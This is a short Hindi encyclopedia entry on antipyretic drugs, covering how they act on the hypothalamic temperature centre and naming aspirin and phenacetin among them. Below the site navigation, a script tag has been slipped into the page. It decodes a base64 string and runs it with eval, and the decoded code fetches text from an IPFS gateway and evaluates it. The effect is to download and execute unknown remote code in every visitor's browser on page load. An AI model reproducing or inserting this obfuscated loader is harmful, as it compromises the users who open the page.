ज्वरहारी
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ज्वरहारी ज्वरहारी या संतापहर (antipyretics) औषधियाँ ज्वरावस्था में प्रयुक्त करने पर शरीर के ताप को कम करके उसे पुन: साधारण अवस्था में ले आती हैं। शरीर की उष्मा के संतुलन का नियंत्रण मस्तिष्कगत 'ताप नियंत्रक केंद्र' द्वारा होता है, जो अधश्चेतक (hypothalamus) में स्थित है। ये औषधियां मुख्यत: इस केंद्र को प्रभावित करती हैं। इनका प्रभाव ज्वरावस्था में ही परिलक्षित होता है। स्वस्थावस्था में इनके प्रयोग से शरीर के तापमान पर कोई विशेष प्रभाव नहीं पड़ता। इनमें से अधिकांश औषधियाँ वेदनाहर (analgesic) तथा कुछ आमवात नाशक (antirheumatic) भी होती हैं। ऐस्पिरिन, फेनेसिटिन, ऐटिपाइरिन या ऐनैल्जेसिन, ऐमिनोपाइरिन या पिरोमिडोन उल्लेखनीय ज्वरहारी ओषधियाँ हैं।